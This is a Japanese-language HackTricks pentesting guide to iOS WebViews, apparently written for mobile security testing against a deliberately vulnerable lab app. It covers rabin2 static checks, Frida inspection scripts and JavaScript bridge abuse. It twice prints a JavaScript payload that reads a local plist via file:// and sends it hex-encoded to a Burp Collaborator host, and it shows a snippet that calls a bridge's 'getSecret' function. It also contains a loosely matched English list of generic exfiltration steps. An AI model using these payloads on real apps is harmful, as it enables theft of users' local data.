30 KiB
iOS WebViews
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
-
**ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。
WebViewsの種類
WebViewsは、インタラクティブなウェブコンテンツを表示するためのアプリ内ブラウザコンポーネントです。これらはアプリのユーザーインターフェースに直接ウェブコンテンツを埋め込むために使用されます。iOSのWebViewsは、デフォルトでJavaScriptの実行をサポートしているため、スクリプトの注入やクロスサイトスクリプティング攻撃の影響を受ける可能性があります。
-
UIWebView: iOS 12以降では非推奨となり、使用すべきではありません。JavaScriptを無効にすることはできません。
-
WKWebView: これはアプリの機能を拡張し、表示されるコンテンツを制御するための適切な選択肢です。
-
JavaScriptはデフォルトで有効ですが、
WKWebView
のjavaScriptEnabled
プロパティにより、すべてのスクリプト注入の脆弱性を完全に無効にすることができます。 -
JavaScriptCanOpenWindowsAutomatically
は、ポップアップなどの新しいウィンドウをJavaScriptが開くのを防止するために使用できます。 -
**
hasOnlySecureContent
**プロパティは、WebViewによって読み込まれるリソースが暗号化された接続を介して取得されていることを検証するために使用できます。 -
WKWebView
はプロセス外レンダリングを実装しているため、メモリの破損バグはメインのアプリプロセスに影響を与えません。 -
SFSafariViewController: これは一般的なウェブ閲覧体験を提供するために使用するべきです。これらのWebViewsは、以下の要素を含む特徴的なレイアウトを持っているため、簡単に見つけることができます。
-
セキュリティインジケータを持つ読み取り専用のアドレスフィールド。
-
アクション(「共有」)ボタン。
-
完了ボタン、戻ると進むのナビゲーションボタン、およびページを直接Safariで開く「Safari」ボタン。
-
SFSafariViewController
ではJavaScriptを無効にすることはできず、これはWKWebView
の使用が推奨される理由の1つです。 -
SFSafariViewController
はまた、クッキーや他のウェブサイトデータをSafariと共有します。 -
ユーザーの
SFSafariViewController
でのアクティビティやインタラクションは、アプリからは見えないため、AutoFillデータ、閲覧履歴、またはウェブサイトデータにアクセスすることはできません。 -
App Storeのレビューガイドラインによれば、
SFSafariViewController
は他のビューやレイヤーによって隠されたり覆われたりしてはなりません。
WebViewsの設定の発見
静的解析
UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
WKWebView
WKWebViewは、iOSアプリケーション内でWebコンテンツを表示するためのコンポーネントです。UIWebViewに比べて高速でパフォーマンスが向上しており、ネイティブアプリケーションと同様の機能を提供します。
WKWebViewは、iOS 8以降で利用可能であり、Safariと同じWebKitエンジンを使用しています。これにより、モバイルアプリケーション内でWebページを表示する際に、高速かつ安全なブラウジング体験を提供することができます。
WKWebViewは、以下のような特徴を持っています。
- JavaScriptの実行と通信のサポート
- カスタムスクリプトの実行
- ページの読み込み状態の監視
- ページのスクロールとズームのサポート
- ユーザーの操作に対するイベントの処理
- クッキーの管理
- セキュリティポリシーの適用
WKWebViewは、iOSアプリケーションのセキュリティに関する重要な要素でもあります。適切なセキュリティ設定を行わないと、悪意のある攻撃者によってアプリケーションの情報が漏洩する可能性があります。したがって、iOSアプリケーションのペネトレーションテストにおいては、WKWebViewのセキュリティ設定を確認することが重要です。
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
代わりに、これらのWebViewクラスの既知のメソッドを検索することもできます。例えば、WKWebViewを初期化するために使用されるメソッド(init(frame:configuration:)
)を検索してください。
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
JavaScriptの設定のテスト
WKWebView
においては、ベストプラクティスとして、JavaScriptは明示的に必要な場合を除き無効にする必要があります。JavaScriptが適切に無効化されているかを確認するために、WKPreferences
の使用箇所をプロジェクト内で検索し、javaScriptEnabled
プロパティがfalse
に設定されていることを確認してください。
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
もしコンパイルされたバイナリしか持っていない場合、それを検索することができます。
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
OnlySecureContentのテスト
UIWebView
とは異なり、WKWebView
を使用すると、ミックスコンテンツ(HTTPSページから読み込まれたHTTPコンテンツ)を検出することができます。hasOnlySecureContent
メソッドを使用することで、ページ上のすべてのリソースが安全に暗号化された接続を介して読み込まれたかどうかを確認することができます。
コンパイルされたバイナリでは、
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
ソースコードや文字列内で "http://" という文字列を検索することもできます。ただし、これは必ずしもミックスコンテンツの問題があることを意味するわけではありません。ミックスコンテンツについて詳しくは、MDN Web Docsを参照してください。
動的解析
ObjC.choose()
を使用してヒープを検査し、さまざまなタイプの WebView のインスタンスを見つけることができます。また、javaScriptEnabled
と hasonlysecurecontent
のプロパティを検索することもできます。
{% code title="webviews_inspector.js" %}
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
{% endcode %}
次のコードを使用して読み込みます:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
hasOnlySecureContent: false
WebViewプロトコルの処理
iOS上のWebViewでは、いくつかのデフォルトのスキームが利用可能です。例えば:
- http(s)://
- file://
- tel://
WebViewはエンドポイントからリモートコンテンツを読み込むことができますが、アプリのデータディレクトリからもローカルコンテンツを読み込むことができます。ローカルコンテンツが読み込まれる場合、ユーザーはファイル名やパスを変更することはできず、読み込まれたファイルを編集することもできません。
WebViewコンテンツの読み込み
- UIWebView: 非推奨のメソッド
loadHTMLString:baseURL:
やloadData:MIMEType:textEncodingName:baseURL:
を使用してコンテンツを読み込むことができます。 - WKWebView: メソッド
loadHTMLString:baseURL:
やloadData:MIMEType:textEncodingName:baseURL:
を使用してローカルのHTMLファイルを読み込むことができます。また、webコンテンツの読み込みにはloadRequest:
を使用します。通常、ローカルファイルは、pathForResource:ofType:
、URLForResource:withExtension:
、init(contentsOf:encoding:)
などのメソッドと組み合わせて読み込まれます。さらに、アプリがメソッドloadFileURL:allowingReadAccessToURL:
を使用しているかどうかも確認する必要があります。このメソッドの最初のパラメータはURL
であり、WebViewに読み込まれるURLを含みます。2番目のパラメータallowingReadAccessToURL
には、単一のファイルまたはディレクトリが含まれる場合があります。単一のファイルが含まれる場合、そのファイルはWebViewで利用可能になります。ただし、ディレクトリが含まれる場合、そのディレクトリ内のすべてのファイルがWebViewで利用可能になります。したがって、これを調査し、ディレクトリの場合は内部に機密データが含まれていないことを確認する価値があります。
ソースコードがある場合は、これらのメソッドを検索することができます。コンパイルされた バイナリがある場合は、次のメソッドを検索することもできます:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
ファイルアクセス
- UIWebView:
file://
スキームは常に有効です。file://
URL からのファイルアクセスは常に有効です。file://
URL からのユニバーサルアクセスは常に有効です。baseURL
もnil
に設定されたUIWebView
から有効なオリジンを取得すると、"null" ではなく、次のようなものが得られます:applewebdata://5361016c-f4a0-4305-816b-65411fc1d78
0。このオリジン "applewebdata://" は "file://" オリジンと似ており、同一オリジンポリシーを実装していないため、ローカルファイルや任意のウェブリソースへのアクセスを許可します。
{% tabs %} {% tab title="exfiltrate_file" %}
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
{% endtab %} {% endtabs %}
- WKWebView(WKWebView):
allowFileAccessFromFileURLs
(WKPreferences
、デフォルトではfalse
):これにより、file://
スキームURLのコンテキストで実行されるJavaScriptが他のfile://
スキームURLからコンテンツにアクセスできるようになります。allowUniversalAccessFromFileURLs
(WKWebViewConfiguration
、デフォルトではfalse
):これにより、file://
スキームURLのコンテキストで実行されるJavaScriptが任意のオリジンからコンテンツにアクセスできるようになります。
これらの関数は、アプリケーションのソースコードやコンパイルされたバイナリで検索することができます。
また、次のFridaスクリプトを使用して、この情報を見つけることもできます:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
Library/WKWebView/scenario1.html
javaScriptEnabled: true
allowFileAccessFromFileURLs: 0
hasOnlySecureContent: false
allowUniversalAccessFromFileURLs: 0
任意のファイルを外部に持ち出す
To exfiltrate arbitrary files from an iOS app's webview, you can use the following steps:
- Identify the webview's file upload functionality.
- Craft a malicious file that contains the data you want to exfiltrate.
- Use a file upload vulnerability to upload the malicious file to the webview.
- Intercept the file upload request using a proxy tool like Burp Suite.
- Modify the request to exfiltrate the file to an external server or storage.
- Verify that the file has been successfully exfiltrated.
Note: This technique may require additional steps depending on the specific app and its security measures.
//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
WebViewを介した公開されたネイティブメソッド
iOS 7以降、AppleはWebView内のJavaScriptランタイムとネイティブのSwiftまたはObjective-Cオブジェクト間の通信を可能にするAPIを導入しました。
ネイティブコードとJavaScriptの通信方法には、次の2つの基本的な方法があります。
- JSContext: Objective-CまたはSwiftのブロックが
JSContext
の識別子に割り当てられると、JavaScriptCoreは自動的にブロックをJavaScript関数でラップします。 - JSExportプロトコル:
JSExport
を継承したプロトコルで宣言されたプロパティ、インスタンスメソッド、クラスメソッドは、すべてのJavaScriptコードで利用可能なJavaScriptオブジェクトにマッピングされます。JavaScript環境内のオブジェクトの変更は、ネイティブ環境に反映されます。
注意点として、JSExport
プロトコルで定義されたクラスメンバーのみがJavaScriptコードからアクセス可能になります。
WebViewに関連付けられたJSContext
にネイティブオブジェクトをマッピングするコードを探し、公開される機能を分析してください。例えば、機密データはWebViewからアクセス可能で公開されるべきではありません。
Objective-Cでは、UIWebView
に関連付けられたJSContext
は次のように取得されます:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
WKWebView
内のJavaScriptコードは、ネイティブアプリにメッセージを送信することができますが、UIWebView
とは異なり、WKWebView
のJSContext
を直接参照することはできません。代わりに、メッセージングシステムとpostMessage
関数を使用して通信を実装します。この関数は、JavaScriptオブジェクトをネイティブのObjective-CまたはSwiftオブジェクトに自動的にシリアライズします。メッセージハンドラは、add(_ scriptMessageHandler:name:)
メソッドを使用して構成されます。
JavaScriptBridgeの有効化
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
メッセージの送信
名前が「"name"」(または上記の例では「"javaScriptBridge"」)のスクリプトメッセージハンドラを追加すると、ユーザーコンテンツコントローラを使用するすべてのウェブビューのすべてのフレームに、JavaScript関数window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage
が定義されます。それは次のようにHTMLファイルから使用することができます。
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
ネイティブ関数が実行されると、通常はウェブページ内でいくつかのJavaScriptが実行されます(以下のevaluateJavascript
を参照)。実行される関数を上書きして結果を盗むことに興味があるかもしれません。
例えば、以下のスクリプトでは、関数**javascriptBridgeCallBack
が2つのパラメータ(呼び出された関数と結果**)と共に実行されます。ロードされるHTMLを制御できる場合、結果を含むアラートを作成することができます。
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
呼び出される関数
呼び出される関数はJavaScriptBridgeMessageHandler.swift
にあります。
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
//...
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
//...
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
テスト
アプリケーション内でpostMessageをテストするためには、次の方法があります。
- サーバーの応答を変更する(MitM)
- Fridaなどのフレームワークを使用して動的なインストルメンテーションを実行し、iOSのWebViews用に利用可能な対応するJavaScript評価関数(
UIWebView
のstringByEvaluatingJavaScriptFromString:
およびWKWebView
のevaluateJavaScript:completionHandler:
)を使用してJavaScriptペイロードを注入する。
iOS WebViewsのデバッグ
(https://blog.vuplex.com/debugging-webviewsからのチュートリアル)
iOSのWebViewsでは、console.log()
に渡されたメッセージはXcodeのログには表示されません。Safariの開発者ツールを使用してWebコンテンツをデバッグすることはまだ比較的簡単ですが、いくつかの制限があります。
- iOSのWebViewsのデバッグにはSafariが必要なため、開発用のコンピュータはmacOSで実行されている必要があります。
- App StoreやApple Configuratorを介してインストールされたアプリでは、WebViewsのデバッグはできません。
これらの制限を考慮して、iOSのWebViewsをリモートでデバッグする手順は次のとおりです。
- まず、iOSデバイスでSafari Web Inspectorを有効にするために、iOSの「設定」アプリを開き、「設定 > Safari > 詳細設定」に移動し、「Web Inspector」オプションをオンにします。
- 次に、開発用のコンピュータでSafariの開発者ツールも有効にする必要があります。開発用のマシンでSafariを起動し、メニューバーの「Safari > 環境設定」に移動します。表示される環境設定パネルで、「詳細」タブをクリックし、一番下にある「開発メニューを表示」オプションを有効にします。これを行った後、環境設定パネルを閉じることができます。
- iOSデバイスを開発用のコンピュータに接続し、アプリを起動します。
- 開発用のコンピュータのSafariで、メニューバーの「開発」をクリックし、iOSデバイスの名前であるドロップダウンオプションにカーソルを合わせると、iOSデバイス上で実行されているWebviewインスタンスのリストが表示されます。
- デバッグしたいWebviewのドロップダウンオプションをクリックします。これにより、Webviewを検査するための新しいSafari Web Inspectorウィンドウが開きます。
参考文献
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
-
ハッキングのトリックを共有するには、hacktricksのリポジトリとhacktricks-cloudのリポジトリにPRを提出してください。